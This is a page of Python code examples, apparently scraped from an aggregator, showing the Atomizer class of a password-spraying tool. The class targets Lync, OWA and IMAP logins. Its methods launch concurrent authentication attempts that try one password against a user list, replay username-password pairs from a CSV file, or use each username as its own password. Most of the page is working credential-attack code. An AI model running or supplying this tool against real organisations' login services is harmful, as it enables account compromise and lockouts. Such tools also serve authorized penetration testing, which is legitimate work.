Пример #1
0
 def imap(self, port):
     self.sprayer = IMAP(target=self.target, port=port)
Пример #2
0
 def lync(self):
     self.sprayer = Lync(target=self.target)
Пример #3
0
 def owa(self):
     self.sprayer = OWA(target=self.target)
Пример #4
0
class Atomizer:
    def __init__(self, loop, target, threads=3, debug=False):
        self.loop = loop
        self.target = target
        self.sprayer = None
        self.threads = int(threads)
        self.debug = debug

        log_format = '%(threadName)10s %(name)18s: %(message)s' if debug else '%(message)s'

        logging.basicConfig(
            level=logging.DEBUG if debug else logging.INFO,
            format=log_format,
            stream=sys.stderr,
        )

        self.executor = concurrent.futures.ThreadPoolExecutor(
            max_workers=self.threads, )

    def lync(self):
        self.sprayer = Lync(target=self.target)

    def owa(self):
        self.sprayer = OWA(target=self.target)

    def imap(self, port):
        self.sprayer = IMAP(target=self.target, port=port)

    async def atomize(self, userfile, password):
        log = logging.getLogger('atomize')
        log.debug('atomizing...')

        auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth

        log.debug('creating executor tasks')
        logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
        blocking_tasks = [
            self.loop.run_in_executor(
                self.executor,
                partial(auth_function,
                        username=username.strip(),
                        password=password)) for username in userfile
        ]

        log.debug('waiting for executor tasks')
        await asyncio.wait(blocking_tasks)
        log.debug('exiting')

    async def atomize_csv(self,
                          csvreader: csv.DictReader,
                          user_row_name='Email Address',
                          pass_row_name='Password'):
        log = logging.getLogger('atomize_csv')
        log.debug('atomizing...')

        auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth

        log.debug('creating executor tasks')
        logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
        blocking_tasks = [
            self.loop.run_in_executor(
                self.executor,
                partial(auth_function,
                        username=row[user_row_name],
                        password=row[pass_row_name])) for row in csvreader
        ]

        log.debug('waiting for executor tasks')
        await asyncio.wait(blocking_tasks)
        log.debug('exiting')

    async def atomize_user_as_pass(self, userfile):
        log = logging.getLogger('atomize_user_as_pass')
        log.debug('atomizing...')

        auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth

        log.debug('creating executor tasks')
        logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
        blocking_tasks = [
            self.loop.run_in_executor(
                self.executor,
                partial(auth_function,
                        username=username.strip(),
                        password=username.strip().split('\\')[-1:][0]))
            for username in userfile
        ]

        log.debug('waiting for executor tasks')
        await asyncio.wait(blocking_tasks)
        log.debug('exiting')

    def shutdown(self):
        self.sprayer.shutdown()